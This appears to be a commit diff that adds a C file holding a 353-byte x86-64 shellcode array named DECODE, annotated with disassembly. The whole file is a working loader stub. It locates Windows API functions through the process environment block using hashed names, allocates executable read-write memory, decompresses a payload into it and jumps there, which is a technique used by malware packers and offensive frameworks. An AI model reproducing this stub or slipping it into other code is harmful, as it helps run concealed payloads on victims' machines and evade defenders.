|
| 1 | + |
| 2 | +// Target architecture : X86 64 |
| 3 | + |
| 4 | +#define DECODE_SIZE 353 |
| 5 | + |
| 6 | +char DECODE[] = { |
| 7 | + /* 0000 */ "\x56" /* push rsi */ |
| 8 | + /* 0001 */ "\x53" /* push rbx */ |
| 9 | + /* 0002 */ "\x57" /* push rdi */ |
| 10 | + /* 0003 */ "\x55" /* push rbp */ |
| 11 | + /* 0004 */ "\xeb\x0a" /* jmp 0x10 */ |
| 12 | + /* 0006 */ "\x5d" /* pop rbp */ |
| 13 | + /* 0007 */ "\x31\xc0" /* xor eax, eax */ |
| 14 | + /* 0009 */ "\xb0\x9b" /* mov al, 0x9b */ |
| 15 | + /* 000B */ "\x48\x01\xe8" /* add rax, rbp */ |
| 16 | + /* 000E */ "\xff\xe0" /* jmp rax */ |
| 17 | + /* 0010 */ "\xe8\xf1\xff\xff\xff" /* call 6 */ |
| 18 | + /* 0015 */ "\x56" /* push rsi */ |
| 19 | + /* 0016 */ "\x53" /* push rbx */ |
| 20 | + /* 0017 */ "\x57" /* push rdi */ |
| 21 | + /* 0018 */ "\x55" /* push rbp */ |
| 22 | + /* 0019 */ "\x41\x89\xc0" /* mov r8d, eax */ |
| 23 | + /* 001C */ "\xeb\x72" /* jmp 0x90 */ |
| 24 | + /* 001E */ "\x41\x59" /* pop r9 */ |
| 25 | + /* 0020 */ "\x6a\x60" /* push 0x60 */ |
| 26 | + /* 0022 */ "\x41\x5b" /* pop r11 */ |
| 27 | + /* 0024 */ "\x65\x49\x8b\x03" /* mov rax, qword ptr gs:[r11] */ |
| 28 | + /* 0028 */ "\x48\x8b\x40\x18" /* mov rax, qword ptr [rax + 0x18] */ |
| 29 | + /* 002C */ "\x48\x8b\x78\x10" /* mov rdi, qword ptr [rax + 0x10] */ |
| 30 | + /* 0030 */ "\xeb\x03" /* jmp 0x35 */ |
| 31 | + /* 0032 */ "\x48\x8b\x3f" /* mov rdi, qword ptr [rdi] */ |
| 32 | + /* 0035 */ "\x48\x8b\x5f\x30" /* mov rbx, qword ptr [rdi + 0x30] */ |
| 33 | + /* 0039 */ "\x48\x85\xdb" /* test rbx, rbx */ |
| 34 | + /* 003C */ "\x74\x4b" /* je 0x89 */ |
| 35 | + /* 003E */ "\x8b\x73\x3c" /* mov esi, dword ptr [rbx + 0x3c] */ |
| 36 | + /* 0041 */ "\x44\x01\xde" /* add esi, r11d */ |
| 37 | + /* 0044 */ "\x8b\x4c\x33\x28" /* mov ecx, dword ptr [rbx + rsi + 0x28] */ |
| 38 | + /* 0048 */ "\x67\xe3\xe7" /* jecxz 0x32 */ |
| 39 | + /* 004B */ "\x48\x8d\x74\x0b\x0c" /* lea rsi, qword ptr [rbx + rcx + 0xc] */ |
| 40 | + /* 0050 */ "\xad" /* lodsd eax, dword ptr [rsi] */ |
| 41 | + /* 0051 */ "\x41\xff\xd1" /* call r9 */ |
| 42 | + /* 0054 */ "\x50" /* push rax */ |
| 43 | + /* 0055 */ "\x41\x5a" /* pop r10 */ |
| 44 | + /* 0057 */ "\xad" /* lodsd eax, dword ptr [rsi] */ |
| 45 | + /* 0058 */ "\xad" /* lodsd eax, dword ptr [rsi] */ |
| 46 | + /* 0059 */ "\xad" /* lodsd eax, dword ptr [rsi] */ |
| 47 | + /* 005A */ "\x91" /* xchg eax, ecx */ |
| 48 | + /* 005B */ "\x67\xe3\xd4" /* jecxz 0x32 */ |
| 49 | + /* 005E */ "\xad" /* lodsd eax, dword ptr [rsi] */ |
| 50 | + /* 005F */ "\x92" /* xchg eax, edx */ |
| 51 | + /* 0060 */ "\x48\x01\xda" /* add rdx, rbx */ |
| 52 | + /* 0063 */ "\xad" /* lodsd eax, dword ptr [rsi] */ |
| 53 | + /* 0064 */ "\x95" /* xchg eax, ebp */ |
| 54 | + /* 0065 */ "\x48\x01\xdd" /* add rbp, rbx */ |
| 55 | + /* 0068 */ "\xad" /* lodsd eax, dword ptr [rsi] */ |
| 56 | + /* 0069 */ "\x96" /* xchg eax, esi */ |
| 57 | + /* 006A */ "\x48\x01\xde" /* add rsi, rbx */ |
| 58 | + /* 006D */ "\x48\x8b\x44\x8d\xfc" /* mov rax, qword ptr [rbp + rcx*4 - 4] */ |
| 59 | + /* 0072 */ "\x41\xff\xd1" /* call r9 */ |
| 60 | + /* 0075 */ "\x44\x01\xd0" /* add eax, r10d */ |
| 61 | + /* 0078 */ "\x44\x39\xc0" /* cmp eax, r8d */ |
| 62 | + /* 007B */ "\xe0\xf0" /* loopne 0x6d */ |
| 63 | + /* 007D */ "\x75\xb3" /* jne 0x32 */ |
| 64 | + /* 007F */ "\x0f\xb7\x04\x4e" /* movzx eax, word ptr [rsi + rcx*2] */ |
| 65 | + /* 0083 */ "\x8b\x04\x82" /* mov eax, dword ptr [rdx + rax*4] */ |
| 66 | + /* 0086 */ "\x48\x01\xc3" /* add rbx, rax */ |
| 67 | + /* 0089 */ "\x48\x93" /* xchg rax, rbx */ |
| 68 | + /* 008B */ "\x5d" /* pop rbp */ |
| 69 | + /* 008C */ "\x5f" /* pop rdi */ |
| 70 | + /* 008D */ "\x5b" /* pop rbx */ |
| 71 | + /* 008E */ "\x5e" /* pop rsi */ |
| 72 | + /* 008F */ "\xc3" /* ret */ |
| 73 | + /* 0090 */ "\xe8\x89\xff\xff\xff" /* call 0x1e */ |
| 74 | + /* 0095 */ "\x52" /* push rdx */ |
| 75 | + /* 0096 */ "\x56" /* push rsi */ |
| 76 | + /* 0097 */ "\x96" /* xchg eax, esi */ |
| 77 | + /* 0098 */ "\x48\x01\xde" /* add rsi, rbx */ |
| 78 | + /* 009B */ "\x31\xc0" /* xor eax, eax */ |
| 79 | + /* 009D */ "\x99" /* cdq */ |
| 80 | + /* 009E */ "\xac" /* lodsb al, byte ptr [rsi] */ |
| 81 | + /* 009F */ "\x08\xc0" /* or al, al */ |
| 82 | + /* 00A1 */ "\x74\x09" /* je 0xac */ |
| 83 | + /* 00A3 */ "\x0c\x20" /* or al, 0x20 */ |
| 84 | + /* 00A5 */ "\x01\xc2" /* add edx, eax */ |
| 85 | + /* 00A7 */ "\xc1\xca\x08" /* ror edx, 8 */ |
| 86 | + /* 00AA */ "\xeb\xf2" /* jmp 0x9e */ |
| 87 | + /* 00AC */ "\x92" /* xchg eax, edx */ |
| 88 | + /* 00AD */ "\x5e" /* pop rsi */ |
| 89 | + /* 00AE */ "\x5a" /* pop rdx */ |
| 90 | + /* 00AF */ "\xc3" /* ret */ |
| 91 | + /* 00B0 */ "\x48\x99" /* cqo */ |
| 92 | + /* 00B2 */ "\xb2\xb1" /* mov dl, 0xb1 */ |
| 93 | + /* 00B4 */ "\x48\x01\xd0" /* add rax, rdx */ |
| 94 | + /* 00B7 */ "\x48\x83\xec\x78" /* sub rsp, 0x78 */ |
| 95 | + /* 00BB */ "\x54" /* push rsp */ |
| 96 | + /* 00BC */ "\x5b" /* pop rbx */ |
| 97 | + /* 00BD */ "\x48\x8d\x7b\x48" /* lea rdi, qword ptr [rbx + 0x48] */ |
| 98 | + /* 00C1 */ "\x48\xab" /* stosq qword ptr [rdi], rax */ |
| 99 | + /* 00C3 */ "\xb8\x39\x81\x4f\x45" /* mov eax, 0x454f8139 */ |
| 100 | + /* 00C8 */ "\xff\xd5" /* call rbp */ |
| 101 | + /* 00CA */ "\x48\xab" /* stosq qword ptr [rdi], rax */ |
| 102 | + /* 00CC */ "\xb8\xd7\x0e\xf5\xe0" /* mov eax, 0xe0f50ed7 */ |
| 103 | + /* 00D1 */ "\xff\xd5" /* call rbp */ |
| 104 | + /* 00D3 */ "\x48\xab" /* stosq qword ptr [rdi], rax */ |
| 105 | + /* 00D5 */ "\xb8\x57\x6d\x60\x46" /* mov eax, 0x46606d57 */ |
| 106 | + /* 00DA */ "\xff\xd5" /* call rbp */ |
| 107 | + /* 00DC */ "\x48\xab" /* stosq qword ptr [rdi], rax */ |
| 108 | + /* 00DE */ "\xb8\xb1\x64\x4a\x3f" /* mov eax, 0x3f4a64b1 */ |
| 109 | + /* 00E3 */ "\xff\xd5" /* call rbp */ |
| 110 | + /* 00E5 */ "\x48\xab" /* stosq qword ptr [rdi], rax */ |
| 111 | + /* 00E7 */ "\x31\xc0" /* xor eax, eax */ |
| 112 | + /* 00E9 */ "\x48\x8b\x4b\x48" /* mov rcx, qword ptr [rbx + 0x48] */ |
| 113 | + /* 00ED */ "\xff\x53\x58" /* call qword ptr [rbx + 0x58] */ |
| 114 | + /* 00F0 */ "\x89\x43\x44" /* mov dword ptr [rbx + 0x44], eax */ |
| 115 | + /* 00F3 */ "\x31\xd2" /* xor edx, edx */ |
| 116 | + /* 00F5 */ "\x48\x89\x53\x30" /* mov qword ptr [rbx + 0x30], rdx */ |
| 117 | + /* 00F9 */ "\x48\x89\x53\x28" /* mov qword ptr [rbx + 0x28], rdx */ |
| 118 | + /* 00FD */ "\x48\x89\x53\x38" /* mov qword ptr [rbx + 0x38], rdx */ |
| 119 | + /* 0101 */ "\x48\x8d\x4b\x38" /* lea rcx, qword ptr [rbx + 0x38] */ |
| 120 | + /* 0105 */ "\x48\x89\x4b\x20" /* mov qword ptr [rbx + 0x20], rcx */ |
| 121 | + /* 0109 */ "\x4d\x31\xc9" /* xor r9, r9 */ |
| 122 | + /* 010C */ "\x6a\x07" /* push 7 */ |
| 123 | + /* 010E */ "\x41\x58" /* pop r8 */ |
| 124 | + /* 0110 */ "\x92" /* xchg eax, edx */ |
| 125 | + /* 0111 */ "\x48\x8b\x4b\x48" /* mov rcx, qword ptr [rbx + 0x48] */ |
| 126 | + /* 0115 */ "\xff\x53\x68" /* call qword ptr [rbx + 0x68] */ |
| 127 | + /* 0118 */ "\x6a\x40" /* push 0x40 */ |
| 128 | + /* 011A */ "\x41\x59" /* pop r9 */ |
| 129 | + /* 011C */ "\x6a\x30" /* push 0x30 */ |
| 130 | + /* 011E */ "\x41\x58" /* pop r8 */ |
| 131 | + /* 0120 */ "\x49\xc1\xe0\x08" /* shl r8, 8 */ |
| 132 | + /* 0124 */ "\x8b\x53\x38" /* mov edx, dword ptr [rbx + 0x38] */ |
| 133 | + /* 0127 */ "\x31\xc9" /* xor ecx, ecx */ |
| 134 | + /* 0129 */ "\xff\x53\x60" /* call qword ptr [rbx + 0x60] */ |
| 135 | + /* 012C */ "\x48\x89\x43\x3c" /* mov qword ptr [rbx + 0x3c], rax */ |
| 136 | + /* 0130 */ "\x31\xd2" /* xor edx, edx */ |
| 137 | + /* 0132 */ "\x48\x89\x53\x30" /* mov qword ptr [rbx + 0x30], rdx */ |
| 138 | + /* 0136 */ "\x48\x89\x53\x28" /* mov qword ptr [rbx + 0x28], rdx */ |
| 139 | + /* 013A */ "\x48\x8d\x4b\x38" /* lea rcx, qword ptr [rbx + 0x38] */ |
| 140 | + /* 013E */ "\x48\x89\x4b\x20" /* mov qword ptr [rbx + 0x20], rcx */ |
| 141 | + /* 0142 */ "\x50" /* push rax */ |
| 142 | + /* 0143 */ "\x41\x59" /* pop r9 */ |
| 143 | + /* 0145 */ "\x6a\x07" /* push 7 */ |
| 144 | + /* 0147 */ "\x41\x58" /* pop r8 */ |
| 145 | + /* 0149 */ "\x8b\x53\x44" /* mov edx, dword ptr [rbx + 0x44] */ |
| 146 | + /* 014C */ "\x48\x8b\x4b\x48" /* mov rcx, qword ptr [rbx + 0x48] */ |
| 147 | + /* 0150 */ "\xff\x53\x68" /* call qword ptr [rbx + 0x68] */ |
| 148 | + /* 0153 */ "\x48\x8b\x43\x3c" /* mov rax, qword ptr [rbx + 0x3c] */ |
| 149 | + /* 0157 */ "\x48\x83\xc4\x78" /* add rsp, 0x78 */ |
| 150 | + /* 015B */ "\x5d" /* pop rbp */ |
| 151 | + /* 015C */ "\x5f" /* pop rdi */ |
| 152 | + /* 015D */ "\x5b" /* pop rbx */ |
| 153 | + /* 015E */ "\x5e" /* pop rsi */ |
| 154 | + /* 015F */ "\xff\xe0" /* jmp rax */ |
| 155 | +}; |
0 commit comments